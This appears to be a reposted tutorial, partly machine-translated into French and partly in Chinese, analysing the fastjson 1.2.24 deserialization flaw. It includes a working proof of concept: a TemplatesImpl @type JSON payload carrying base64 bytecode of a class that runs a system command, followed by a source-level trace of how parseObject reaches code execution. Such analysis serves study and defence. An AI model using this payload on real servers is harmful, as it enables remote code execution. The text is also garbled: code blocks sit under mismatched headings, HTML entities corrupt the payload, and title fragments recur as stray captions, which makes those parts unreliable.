Maison  >  Article  >  Java  >  Sécurité Java fastjson1.2.24 Modèles de désérialisationAnalyse d'instance impl

Sécurité Java fastjson1.2.24 Modèles de désérialisationAnalyse d'instance impl

PHPz
PHPzavant
2023-04-19 13:28:031772parcourir

Environnement de vulnérabilité :

fastjson1.2.24

jdk1.7.80

Créez un nouveau projet maven et introduisez des dépendances fastjson dans le pom Une bibliothèque d'analyse de format de données qui prend en charge l'analyse des objets Java en données au format de chaîne json. , et peut également restaurer des chaînes json dans des objets Java. Il n'est pas difficile de voir que la conversion d'objets Java en données json est une opération de sérialisation et que la restauration de données json en objets Java est un processus de désérialisation.

1. sérialisation fastjson

Jetons maintenant un coup d'œil au processus de sérialisation fastjson et définissons une classe pojo :

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
Exemple de programme :

public class Student {
 
    private String name;
    private int age;
 
    public Student() {
        System.out.println(" method: Student() ");
    }
    public Student(String name , int age) {
        System.out.println(" method: Student(String name , int age) ");
        this.name = name;
        this.age = age;
    }
 
    public String getName() {
        System.out.println(" method: getName() ");
        return name;
    }
    public int getAge() {
        System.out.println(" method: getAge() ");
        return age;
    }
    public void setName(String name) {
        System.out.println(" method: setName() ");
        this.name = name;
    }
    public void setAge(int age) {
        System.out.println(" method setAge() ");
        this.age = age;
    }
}
Les résultats d'exécution sont les suivants :

méthode : Student( String name, int age)

méthode : getAge()

méthode : getName()

{"age":3,"name":"zhangsan"}

fastjson appelle la méthode toJSONString pour convertir l'objet Student en json La méthode getter de l'objet sera appelée lors du traitement des données de chaîne.

De plus, la méthode toJSONString peut également spécifier un paramètre facultatif SerializerFeature.WriteClassName lors de la sérialisation. Après avoir spécifié ce paramètre, une option @type sera écrite dans les données json lors de la sérialisation,

comme indiqué ci-dessous :

L'option @type dans les données json est utilisée pour spécifier la classe à désérialiser, c'est-à-dire que lorsque ces données json sont désérialisées, elles seront décodées selon le nom complet de la classe spécifié dans l'option @type. Sérialisé en objets Java. Sécurité Java fastjson1.2.24 Modèles de désérialisationAnalyse d'instance impl

2. Désérialisation fastjson

fastjson fournit deux fonctions de désérialisation : parseObject et parse. Jetons un coup d'œil au processus de désérialisation de fastjson à travers un exemple de programme

La méthode 1 appelle la méthode parseObject pour convertir json. dans un objet Java, et les méthodes setter et getter de l'objet sont appelées pendant le processus de désérialisation. Sécurité Java fastjson1.2.24 Modèles de désérialisationAnalyse d'instance impl

La méthode 2 appelle la méthode parseObject pour la désérialisation et spécifie la classe Student de l'objet de désérialisation. La méthode parseObject désérialisera les données json en un objet Student et appelle la méthode setter de l'objet Student pendant le processus de désérialisation.

La méthode 3 appelle la méthode parse pour désérialiser les données json dans un objet java et appelle la méthode setter de l'objet lors de la désérialisation.

À propos de

Feature.SupportNonPublicFieldParamètres : Les trois méthodes ci-dessus appelleront le constructeur de l'objet pour créer l'objet lors de la désérialisation, et appelleront également la méthode de définition de l'objet, si le privé La propriété ne fournit pas de méthode de définition, sera-t-elle quand même désérialisée correctement ? Afin de vérifier cette conjecture, nous supprimons maintenant la méthode setter du nom de propriété privée de l'objet Student.

À en juger par les résultats de l'exécution du programme, le nom de l'attribut privé n'est pas désérialisé correctement, ce qui signifie que fastjson ne désérialisera pas les attributs privés par défaut.

Si vous devez désérialiser des propriétés privées, vous pouvez appeler la méthode parseObject pour spécifier le paramètre Feature.SupportNonPublicField, Sécurité Java fastjson1.2.24 Modèles de désérialisationAnalyse d'instance impl

comme indiqué ci-dessous :

La méthode 1 ne spécifie pas Feature.SupportNonPublicField lors de la désérialisation Paramètres, le nom de l'attribut privé n'a aucune valeur lorsqu'il n'est pas désérialisé. Une fois le paramètre Feature.SupportNonPublicField spécifié dans les méthodes 2 et 3, le nom de l'attribut privé peut être désérialisé correctement. Sécurité Java fastjson1.2.24 Modèles de désérialisationAnalyse d'instance impl

3. Principe de la vulnérabilité de désérialisation fastjson

Dans la section précédente, nous savons que fastjson appellera le constructeur, le setter, le getter et d'autres méthodes de l'objet cible lors de la désérialisation, si certaines opérations dangereuses sont effectuées à l'intérieur de ces méthodes, alors fastjson peut déclencher une vulnérabilité lors de la désérialisation.

Nous utilisons un cas simple pour illustrer le principe de la vulnérabilité de désérialisation fastjson

public class FastjsonTest1 {
    public static void main(String[] args) {
        Student student = new Student("zhangsan" , 3);
        String jsonString = JSON.toJSONString(student);
        System.out.println(jsonString);
    }
}

Dans cet exemple de programme, une classe malveillante est d'abord construite, puis la méthode toJSONString est appelée pour sérialiser l'objet et l'écrire dans @type, en spécifiant @ tapez comme malveillant Le nom complet de la classe TestTempletaHello. Lorsque la méthode d'analyse est appelée pour désérialiser la classe TestTempletaHello, la méthode constructeur de la classe malveillante sera appelée pour créer un objet instance, donc le bloc de code statique dans la classe malveillante. TestTempletaHello sera exécuté.

Les résultats de l'exécution sont les suivants :

4. Récurrence de la vulnérabilité Fastjson1.2.24Sécurité Java fastjson1.2.24 Modèles de désérialisationAnalyse d'instance impl

Dans les scénarios réels, de nombreuses catégories n'ont pas de code aussi évident qui peut produire des vulnérabilités, et les attaquants doivent souvent trouver des moyens de le faire. passez certaines opérations (telles que la réflexion, le chargement de classe, certaines fonctions dangereuses) pour construire un environnement d'exploitation.

在学习CC2利用链的时候我们分析了一个基于TemplatesImpl类的利用链,该类会把_bytecodes属性的字节码内容加载并实例化,关于TemplatesImpl类的利用链的具体介绍可参考CC2利用链。

fastjson1.2.24的反序列化漏洞也是基于TemplatesImpl类来构造利用链,思路如下:

  • 1. 构造一个恶意类TempletaPoc继承AbstractTranslet类,通过javassist字节码编程将恶意类TempletaPoc转换成字节码并进行base64编码。

  • 2. 然后构造TemplatesImpl类的json数据,将TempletaPoc类的字节码设置到_bytecodes属性中,当json数据在还原成TemplatesImpl对象时会加载_bytecodes属性中的TempletaPoc类并实例化,从而触发漏洞。

定义一个恶意类TempletaPoc继承AbstractTranslet类,通过javassist将恶意类TempletaPoc转换成字节码,然后进行base64编码

package com.fastjson.pojo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TempletaPoc extends AbstractTranslet {
	//构造RCE代码
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
    }
}

最终的poc代码:

package com.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.fastjson.pojo.Student;
import com.fastjson.pojo.TempletaPoc;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import javassist.*;
 import java.io.IOException;
/**
 * @auther songly_
 */
public class FastjsonTest1 {
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
        //恶意类TempletaPoc转换成字节码,base64编码
        String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2Zhc3Rqc29uL3Bvam8vVGVtcGxldGFQb2M7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAClNvdXJjZUZpbGUBABBUZW1wbGV0YVBvYy5qYXZhDAAJAAoHACwMAC0ALgEABGNhbGMMAC8AMAEAE2phdmEvaW8vSU9FeGNlcHRpb24MADEACgEAHWNvbS9mYXN0anNvbi9wb2pvL1RlbXBsZXRhUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAPAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAbAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAfAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABUAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABMACQAWAAwAFAANABUAEQAXAA0AAAAMAAEADQAEAB4AHwAAAAEAIAAAAAIAIQ==";
        //构造TemplatesImpl的json数据,并将恶意类注入到json数据中
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String payload = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+byteCode+"\"]," +
                "&#39;_name&#39;:&#39;TempletaPoc&#39;," +
                "&#39;_tfactory&#39;:{}," +
                "\"_outputProperties\":{}}\n";
        System.out.println(payload);
        //反序列化
        Object object = JSON.parseObject(payload,Feature.SupportNonPublicField);
    }
}

这里解释一下payload的构造:

  • @type:当fastjson根据json数据对TemplatesImpl类进行反序列化时,会调用TemplatesImpl类的getOutputProperties方法触发利用链加载_bytecodes属性中的TempletaPoc类字节码并实例化,执行RCE代码。

  • _bytecodes:前面已经介绍过了,主要是承载恶意类TempletaPoc的字节码。

  • _name:关于_name属性,在调用TemplatesImpl利用链的过程中,会对_name进行不为null的校验,因此_name的值不能为null(具体可参考CC2利用链)

  • _tfactory:在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类

  • outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。

漏洞利用成功,接下来我们分析一下parseObject方法是如何触发漏洞的

Sécurité Java fastjson1.2.24 Modèles de désérialisationAnalyse d'instance impl

5. fastjson1.2.24漏洞分析

参数features是一个可变参数,parseObject方法底层实际上是调用了parse方法进行反序列化,并且将反序列化的Object对象转成了JSONObject

    public static JSONObject parseObject(String text, Feature... features) {
        return (JSONObject) parse(text, features);
    }

parse方法会循环获取可变参数features中的值,然后继续调用parse方法

	public static Object parse(String text, Feature... features) {
        int featureValues = DEFAULT_PARSER_FEATURE;
        for (Feature feature : features) {
            featureValues = Feature.config(featureValues, feature, true);
        }
 
        return parse(text, featureValues);
    }

分析parse方法:

    public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        }
		//将json数据放到了一个DefaultJSONParser对象中
        DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
		//然后调用parse方法解析json
        Object value = parser.parse();
 
        parser.handleResovleTask(value);
 
        parser.close();
 
        return value;
    }

parse方法创建了一个JSONObject对象存放解析后的json数据,而parseObject方法作用就是把json数据的内容反序列化并放到JSONObject对象中,JSONObject对象内部实际上是用了一个HashMap来存储json。

	public Object parse(Object fieldName) {
        final JSONLexer lexer = this.lexer;
        switch (lexer.token()) {
			//省略部分代码......
            case LBRACE:
				//创建一个JSONObject对象
                JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
				//parseObject方法
                return parseObject(object, fieldName);
			//省略部分代码......
		}
	}

继续跟进parseObject方法;

	public final Object parseObject(final Map object, Object fieldName) {
		//省略部分代码......
		//从json中提取@type
		key = lexer.scanSymbol(symbolTable, &#39;"&#39;);
		//省略部分代码......
		
		//校验@type
		if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
			//提取type对应的值
			String typeName = lexer.scanSymbol(symbolTable, &#39;"&#39;);
			//然后根据typeName进行类加载
			Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
 
			if (clazz == null) {
				object.put(JSON.DEFAULT_TYPE_KEY, typeName);
				continue;
			}
		}
		//省略部分代码......
		
		//然后将class对象封装成ObjectDeserializer对象
		ObjectDeserializer deserializer = config.getDeserializer(clazz);
		//然后调用deserialze方法进行反序列化
		return deserializer.deserialze(this, clazz, fieldName);
	}

parseObject方法主要是从json数据中提取@type并进行校验是否开启了autoType功能,接着会调用loadClass方法加载@type指定的TemplatesImpl类,然后将TemplatesImpl类的class对象封装到ObjectDeserializer 中,然后调用deserialze方法进行反序列化。

我们来看一下deserializer的内容,如下图所示:

Sécurité Java fastjson1.2.24 Modèles de désérialisationAnalyse d'instance impl

 TemplatesImpl类的每个成员属性封装到deserializer的fieldInfo中了。

然后调用了deserialze方法,该方法中的参数如下所示:

Sécurité Java fastjson1.2.24 Modèles de désérialisationAnalyse d'instance impl

deserialze方法内部的代码逻辑实在是太复杂了,内部有大量的校验和if判断,这里只是简单的分析了大概的逻辑,这些已经足够我们理解TemplatesImpl的利用链了,后期深入分析fastjson的防御机制,以及在构造payload如何绕过校验机制时,再深入分析deserialze方法分析fastjson的解析过程做了哪些事情,目前我们先把TemplatesImpl的利用链搞清楚再说。

protected <T> T deserialze(DefaultJSONParser parser, Type type,  Object fieldName,  Object object, int features) {
		
			     //省略部分代码......
			
			     //调用createInstance方法实例化
			    if (object == null && fieldValues == null) {
                    object = createInstance(parser, type);
                    if (object == null) {
                        fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length);
                    }
                    childContext = parser.setContext(context, object, fieldName);
                }
			
			//省略部分代码......
			
			//调用parseField方法解析json
			boolean match = parseField(parser, key, object, type, fieldValues);
		}

 我们只分析deserialze方法中的部分核心代码,deserialze方法内部主要是调用了createInstance方法返回一个object类型的对象(也就是TemplatesImpl对象),然后调用了parseField方法解析属性字段。

parseField方法:

    public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
		//省略部分代码......
 
        FieldDeserializer fieldDeserializer = smartMatch(key);
		//SupportNonPublicField选项
        final int mask = Feature.SupportNonPublicField.mask;
		
		//if判断会校验SupportNonPublicField选项
        if (fieldDeserializer == null
                && (parser.lexer.isEnabled(mask)
                    || (this.beanInfo.parserFeatures & mask) != 0)) {
            //获取TemplatesImpl对象的属性信息
        }
 
		//省略部分代码......
 
		//调用parseField方法解析字段
        fieldDeserializer.parseField(parser, object, objectType, fieldValues);
 
        return true;
    }

parseField方法内部会对参数features中的SupportNonPublicField选项进行校验,这个if判断主要是获取TemplatesImpl对象的所有非final或static的属性,如果fastjson调用parseObject方法时没有设置SupportNonPublicField选项的话,就不会进入这个if判断,那么fastjson在进行反序列化时就不会触发漏洞。

校验完SupportNonPublicField选项后,调用parseField方法解析TemplatesImpl对象的属性字段,先来看一下parseField方法的参数

Sécurité Java fastjson1.2.24 Modèles de désérialisationAnalyse d'instance impl

parseField方法主要会做以下事情,调用fieldValueDeserilizer的deserialze方法将json数据中每个属性的值都提取出来放到value 中,然后调用setValue方法将value的值设置给object。

    @Override
    public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
		
		//省略部分代码......
		
		//解析json中的数据(将每个属性的值还原)
		value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);
		 
		 //省略部分代码......
		 
		 setValue(object, value);
   }

可以看到deserialze方法将json数据中的_bytecodes值提取出来进行base64解码存放到value中,接着调用setValue方法将value设置给object(即TemplatesImpl对象的_bytecodes)。

Sécurité Java fastjson1.2.24 Modèles de désérialisationAnalyse d'instance impl

继续跟进fieldValueDeserilizer的deserialze方法

    public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
		//省略部分代码......
 
        if (lexer.token() == JSONToken.LITERAL_STRING) {
			//调用了bytesValue方法
            byte[] bytes = lexer.bytesValue();
            lexer.nextToken(JSONToken.COMMA);
            return (T) bytes;
        }
		
		//省略部分代码......
		
	}

deserialze方法内部调用了bytesValue方法。

bytesValue方法内部调用了确实对json数据中的_bytecodes值进行了base64解码

Sécurité Java fastjson1.2.24 Modèles de désérialisationAnalyse d'instance impl

前面我们说过json数据中的outputProperties的作用是触发TemplatesImpl利用链的

触发漏洞的关键就在于当fastjson调用setValue方法将json数据中的outputProperties的值设置给TemplatesImpl对象时会触发漏洞,调用TemplatesImpl类的getOutputProperties方法。

继续分析setValue方法是如何触发漏洞的

public void setValue(Object object, Object value){
		//首先校验value是否为null
        if (value == null //
            && fieldInfo.fieldClass.isPrimitive()) {
            return;
        }
 
        try {
			//根据outputProperties属性获取对应的方法
            Method method = fieldInfo.method;
            if (method != null) {
                if (fieldInfo.getOnly) {
                    if (fieldInfo.fieldClass == AtomicInteger.class) {
                        AtomicInteger atomic = (AtomicInteger) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicInteger) value).get());
                        }
                    } else if (fieldInfo.fieldClass == AtomicLong.class) {
                        AtomicLong atomic = (AtomicLong) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicLong) value).get());
                        }
                    } else if (fieldInfo.fieldClass == AtomicBoolean.class) {
                        AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicBoolean) value).get());
                        }

                    } else if (Map.class.isAssignableFrom(method.getReturnType())) {
						//反射调用getOutputProperties方法
                        Map map = (Map) method.invoke(object);
                        if (map != null) {
                            map.putAll((Map) value);
                        }
                    } else {
                        Collection collection = (Collection) method.invoke(object);
                        if (collection != null) {
                            collection.addAll((Collection) value);
                        }
                    }
                } else {
                    method.invoke(object, value);
                }
                return;
            }
    }
	
	//省略部分代码......
	
}

setValue方法对value进行了不为null的校验,然后解析_outputProperties(json中的_outputProperties被封装到了fieldInfo中)。

fastjson会将属性的相关信息封装到fieldInfo中,具体信息如下:

Sécurité Java fastjson1.2.24 Modèles de désérialisationAnalyse d'instance impl

然后判断method中的getOutputProperties的返回值是否为Map,为什么是通过Map接口的class对象来判断?因为Properties实现了Map接口,因此这个判断满足条件会通过反射调用TemplatesImpl对象的getOutputProperties方法。

关于getOutputProperties方法的调用

不知道大家有没有思考过fastjson是如何获取到getOutputProperties方法的?原因在于parseField方法内部调用了JavaBeanDeserializer类的smartMatch方法

Sécurité Java fastjson1.2.24 Modèles de désérialisationAnalyse d'instance impl

smartMatch方法会将json中的_outputProperties中的下划线去掉,替换成outputProperties并封装到fieldInfo中,我们知道fastjson在反序列化过程中会调用属性的getter方法,因此这里还会将outputProperties属性的getter方法也封装到fieldInfo中的method当中。

    public FieldDeserializer smartMatch(String key) {
 
 
		//省略部分代码......
        
        if (fieldDeserializer == null) {
            boolean snakeOrkebab = false;
            String key2 = null;
            for (int i = 0; i < key.length(); ++i) {
                char ch = key.charAt(i);
				//是否有"_"特殊字符串
                if (ch == &#39;_&#39;) {
                    snakeOrkebab = true;
					//把_字符串替换为空
                    key2 = key.replaceAll("_", "");
                    break;
                } else if (ch == &#39;-&#39;) {
                    snakeOrkebab = true;
                    key2 = key.replaceAll("-", "");
                    break;
                }
            }
            if (snakeOrkebab) {
                fieldDeserializer = getFieldDeserializer(key2);
                if (fieldDeserializer == null) {
                    for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {
                        if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2)) {
                            fieldDeserializer = fieldDeser;
                            break;
                        }
                    }
                }
            }
        }
 
      //省略部分代码......
	  
    }

我们貌似... 大概知道了getOutputProperties方法是如何获取的,继续思考一下:fastjson在反序列化过程中具体是如何调用属性的getter方法的?

答案是JavaBeanInfo类中有一个build方法,当通过@type获取TemplatesImpl类的calss对象后,会通过反射获取该类的class对象的所有方法并封装到Method数组中。然后通过for循环遍历Method获取getter方法,并将outputProperties属性和getter方法(getOutputProperties方法)一起封装到FieldInfo,从代码中确实可以看到add方法会将FieldInfo放到了一个fieldList中,然后将fieldList封装到JavaBeanInfo

Sécurité Java fastjson1.2.24 Modèles de désérialisationAnalyse d'instance impl

getter方法的查找方式需要满足以下几个条件:

方法名长度不小于4

必须是非静态方法

必须get字符串开头,并且第四个字符为大写字母

方法中不能有参数

返回值继承自Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong

在getter方法中不能有setter方法

这样一来自然就获取到了getOutputProperties( )方法,当setValue方法从FieldInfo获取到outputProperties属性和getOutputProperties方法并反射调用getOutputProperties方法就会触发TemplatesImpl利用链。

getOutputProperties方法内部调用了newTransformer方法

    public synchronized Properties getOutputProperties() {
        try {
			//调用newTransformer方法
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

newTransformer方法内部调用了getTransletInstance方法

    public synchronized Transformer newTransformer() throws TransformerConfigurationException {
        TransformerImpl transformer;
		//调用了getTransletInstance方法
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);
 
        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }
 
        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

getTransletInstance方法内部会对_name和_class进行不为null校验, 我们构造的payload没有_class,因此这里_class为null会调用defineTransletClasses方法加载_bytecodes属性的类字节码(加载TempletaPoc类)。

    private Translet getTransletInstance() throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
			//调用defineTransletClasses方法
            if (_class == null) defineTransletClasses();
		
		//根据_class实例化类
		AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    }

跟进defineTransletClasses方法:

    private void defineTransletClasses() throws TransformerConfigurationException {
		//校验_bytecodes
        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
 
        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
					//通过_tfactory调用getExternalExtensionsMap方法
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });
 
        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];
 
            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }
 
            for (int i = 0; i < classCount; i++) {
				//加载_bytecodes中的类(TempletaPoc)
                _class[i] = loader.defineClass(_bytecodes[i]);
				//获取TempletaPoc的父类
                final Class superClass = _class[i].getSuperclass();
 
                // Check if this is the main class
				//是否继承了AbstractTranslet类
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
 
            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

defineTransletClasses方法内部会加载_bytecodes中的类字节码数据(加载TempletaPoc类),并且会校验TempletaPoc类是否继承了AbstractTranslet类。然后返回到getTransletInstance方法中,调用newInstance方法实例化TempletaPoc类执行RCE代码。

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer